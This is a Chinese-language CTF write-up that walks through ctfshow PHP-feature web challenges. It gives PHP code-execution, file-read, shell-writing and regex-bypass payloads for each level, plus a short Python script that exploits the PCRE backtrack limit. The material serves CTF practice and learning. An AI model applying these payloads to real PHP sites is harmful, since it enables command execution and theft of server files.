php特性(ctfshow)

ctfshow

web89

preg_match()只能处理字符串,当传入的是数组时将会返回false

intval(mixed $value, int $base = 10): int

通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

注:除非value是一个字符串,否则base不会起作用

payload:?num[]=1

web90

还是考察intval函数,看源码:

payload:?num=0x117c      #0x117c是4476的16进制

web91

先看源码:

首先是:

if(preg_match(‘/^php$/im’, $a))

/^php$/im 表示用php匹配开头和结尾,不区分大小写,并且多行匹配

再次:

if(preg_match(‘/^php$/i’, $a))

与上面的区别是没有多行匹配,这可以用到Apache HTTPD换行解析漏洞(CVE-2017-15715)–(https://blog.csdn.net/qq_46091464/article/details/108278486)

payload:?cmd=abc%0aphp

a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php

其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配abc,abc不满足第二个if,所以输出flag

在php中,/m表示爱看i其多行匹配模式,开启多行匹配模式之后^和$的含义就发生了变化,没开启多行模式之前(即单行匹配模式),^和$是匹配字符串的开始和结尾,开启多行模式之后,多行模式^和$可以匹配每行的开头和结尾,所以上述payload里卖弄含有换行符,被当作两行处理,一行匹配ok即可

web92

还是考察intval()函数特性

pyload:?cmd=4476.1

web93

这里过滤了a-z和A-Z,不能用16进制编码,但能用8进制编码,用小数也可以绕过。这里我们用8进制编码一下

payload:?cmd=010574

web94

看源码

这里增加了strpos()函数

strpos(string $haystack, string $needle, int $offset = 0): int|false

返回 needle 在 haystack 中首次出现的数字位置。如果提供了$offset参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

所以,这里的if(!strpos($num, “0”))是过滤了出现在字符串首位的0,即屏蔽了8进制

payload:?num=4476.01

web95

这关直接过滤了点,发现用+号可以绕过

payload:?cmd=+010574 或 ?cmd=%2b010574

web96

这里用相对路径

payload:?u=./flag.php

web97

数组绕过

POST a[]=1&b[]=2

web98

由源码含义可构造payload:

web99

看源码:

in_array()

file_put_contents()

直接构造,然后用蚁剑连接

get数据可以多次尝试

web100

源码:

is_numeric(mixed $value): bool

检测指定的变量是否为数字或数字字符串。

这题的重点是and or和&& ||的区别,区别是优先级不同,后者的优先级高于=,前者的优先级低于=。所以这里只要构造v1等于一个数字即可。

?v1=23&v2=system('ls')&v3=;
?v1=1&v2=system("tac ctfshow.php")&v3=;
?v1=1&v2=highlight_file("ctfshow.php")&v3=;
?v1=1&v2=echo new ReflectionClass&v3=;

web101

这一关几乎所有能用的都过滤了,这里要用到ReflectionClass反射类。

参考:https://www.php.net/manual/zh/class.reflectionclass.php

https://www.cnblogs.com/benbenhan/p/12572649.html

最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);

payload:?v1=1&v2=echo new ReflectionClass&v3=;

web102

先看源码:

call_user_func(callable $callback,mixed …$args):mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

我们梳理一下这一关的思路:首先v3得是一个文件名,然后v2应该是一句话,但这里要绕过is_numeric(),并且要经过名为v1的函数转换,所以v2得是一句话经过处理成为纯数字,这里我们选v2=’<?=cat *;’;,再经过base64和16进制编码后成为PD89YGNhdCAqYDs=,等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,再转换为16进制,得到5044383959474e6864434171594473(注:如果此处使用bin2hex()函数,这个函数是先将字符串的ascii对应的二进制找出来,再将二进制码转换成16进制,所以如果用在线编码转换的话应先将字符串先base64编码,再用ascii转16进制)。

这一关要使用php://filter伪协议。

payload:GET v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=1.php 
        POST v1=hex2bin

最后再访问1.php。

web103

同上

web104

payload: GET v2=ddd
         POST v1=ddd

web105

考察变量覆盖,这里有个php的小特性就是变量不需要声明

payload GET a=flag
        POST error=a

web106

参考https://blog.csdn.net/qq_19980431/article/details/83018232

payload: GET v2[]=1
         POST v1[]=2

web107

parse_str(string $string, array &$result): void

如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

payload: GET v3=QNKCDZO
         POST v1=flag=0

web108

考察ereg()截断漏洞.参考:https://blog.csdn.net/qq_25987491/article/details/79952393

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符大小写敏感

这里ereg有两个漏洞:
①%00截断及遇到%00则默认为字符串的结束
②当ntf为数组时它的返回值不是FALSE

数组绕过匹配:
第一步首先要过ereg,可以用%00截断
第二部0x36d是十进制877,逆操作经过strrev为778

payload c=a%00778

web109

只要让new后面有个类不报错以后,就可以随意构造

?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a

web110

考察FilesystemIterator类

payload ?v1=FilesystemIterator&v2=getcwd

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。

getcwd(): string|false

取得当前工作目录。

FilesystemIterator 遍历文件的类

DirctoryIntrerator 遍历目录的类

web111

这里用全局变量GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

注:在所有函数外部定义的变量,拥有全局作用域。除了函数外,全局变量可以被脚本中的任何部分访问,要在一个函数中访问一个全局变量,需要使用 global 关键字。所以这里v2要用超全局变量GLOBALS,不能直接用flag。

payload  ?v1=ctfshow&v2=GLOBALS
使用超全局变量$GLOBALS可以代替global
<?php  
    $num1 = 5;      //全局变量 
    $num2 = 13;     //全局变量
    function global_var()  
    {  
            $sum = $GLOBALS['num1'] + $GLOBALS['num2'];  
            echo "全局变量求和结果 " .$sum;  
    }  
    global_var();  
?>  

web112

is_file(string $filename): bool

如果文件存在且为正常的文件则返回 true,否则返回 false。

这一关要传入一个不存在的文件名还要把文件内容显示出来,我们这里还是用php伪协议。

payload ?file=php://filter/resource=flag.php

web113

这题用到伪协议zlib://

payload ?file=compress.zlib://flag.php

web114

没有过滤php和filter

?file=php://filter/resource=flag.php

web115

这一关用%0c来绕过trim()函数

payload ?num=%0c36

web123

这一关比较容易想出来fun=echo $flag,但是没有回显,通过排查发现是$CTF_SHOW.COM的问题,看别人题解果然是,并且是因为是变量里有个点:

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

可以参考一下y4的博客https://blog.csdn.net/solitudi/article/details/120502141

(反正我也看不懂),总之先记住这个性质。其实出现了[之后php就会去找],如果找到了那就是数组,没有找到就被被解析成_

payload CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

这一关屏蔽了echo、flag。我们这里用创造一个新变量,巧妙利用highlight_file()

payload CTF_SHOW=fds&CTF[SHOW.COM=dfds&fun=highlight_file($_POST[fff])&fff=flag.php

web126

直接过滤了g、i、f…,要利用$_SERVER[‘argv’]。

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

‘argv’

传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据

可以用+来进行分隔,使得数组中有多个数值。

注:在web页模式下必须在php.ini开启register_argc_argv配置项

payload GET a=1+$fl0g=flag_give_me;
        POST CTF_SHOW=fds&CTF[SHOW.COM=dfds&fun=eval($a[1])

注意分号。

web127

extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix= “”): int

本函数用来将变量从数组中导入到当前的符号表中。

array:一个关联数组。此函数会将键名当作变量名,值作为变量的值。 对每个键/值对都会在当前的符号表中建立变量

这一关一直卡在CTF_SHOW的下划线的过滤上,看别人题解才发现还有个空格没用上

payload ?ctf show=ilove36d

web128

这关操作确实有点骚。。。

复述一下大佬的做法:(做这道题的时候正好堆堆推门而入取水来了,不得让他表演一下。。。不过大佬就是大佬)

使用**gettext()**拓展,开启此拓展_() 等效于 gettext()

echo _("hahahaha");
//输出结果:hahahaha

接下来到第二层call_user_func,可以使用get_defined_vars函数

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload ?f1=_&f2=get_defined_vars

web129

这题看到readfile第一反应是php伪协议,但要包括ctfshow,搞了一会不行,看别人题解发现放到过滤器参数里就可以,无效的东西会被忽略

payload f=php://filter/ctfshow/resource=flag.php

解法2:文件穿越,把ctfshow当作当前目录下的一个文件

?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

web130

第一下随便传了个f=ctfshow想试试代码中的正则是什么作用,结果爆出了flag。。。

.表示任意单个字符,+表示必须匹配1次或多次,?表示匹配0次或1次·,所以+?表示 重复1次或更多次

payload f=ctfshow

还有一种做法:通过数组来绕过,stripos应用于数组的时候会返回null,null!==false

payload f[]=1

其实这道题的意图是通过回溯限制来绕过。

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

脚本发包:

import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
    'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

与这题相似的一个题:

if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!')

这题可用%0a绕过

?syc=Welcome to GEEK 2023!%0a

web131

这一关只能用回溯了

import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
    'f': 'dotast'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

web132

进入admin目录

&&优先级高于||,所以

paylaod ?username=admin&code=admin&password=fdsf

***web133

这题看看出题人的博客 https://blog.csdn.net/qq_46091464/article/details/109095382

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

所以这里没办法回显

这一关要弹什么shell,以后再看

web134

parse_str(string $string, array &$result): void

如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。(parse_str以&来分割字符串)

payload ?_POST[key1]=36d&_POST[key2]=36d

web135

这一关屏蔽了很多东西,我们用linux命令cp或uniq

payload ?F=`$F` ;cp flag.php 2.txt; 
        ?F=`$F` ;uniq flag.php>4.txt;

web136

exec(string $command, array &$output = null, int &$result_code= null): string|false

exec()执行 command 参数所指定的命令。

这关屏蔽了<>和.,又来一个新姿势:

tee a.txt b.txt,将a.txt复制到b.txt 
ls | tee b.txt,将ls命令的执行结果写入b.txt

先执行?c=ls /|tee ls,然后访问ls.txt

会让你下载文件,

然后执行 ?c=tac /f149_15_h3r3|tee flag,访问/flag

web137

用**call_user_func()**来调用一个类里面的方法

payload ctfshow=ctfshow::getFlag

web138

屏蔽了冒号,还可以用数组来调用类里的方法

payload ctfshow[0]=ctfshow&ctfshow[1]=getFlag

***web139

要用到什么shell编程和盲注,还是暂放亿下。。。

web140

“ctfshow”字符串与数字比较时被转换为0,所以这关随便胡写俩个函数使最后的结果为null就行

payload f1=intval&f2=intval

***web141

\W匹配非字母、数字、下划线。等价于 [^A-Za-z0-9_]。

无数字字母rce……

web142

这关没难度

payload v1=0

***web143-150


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。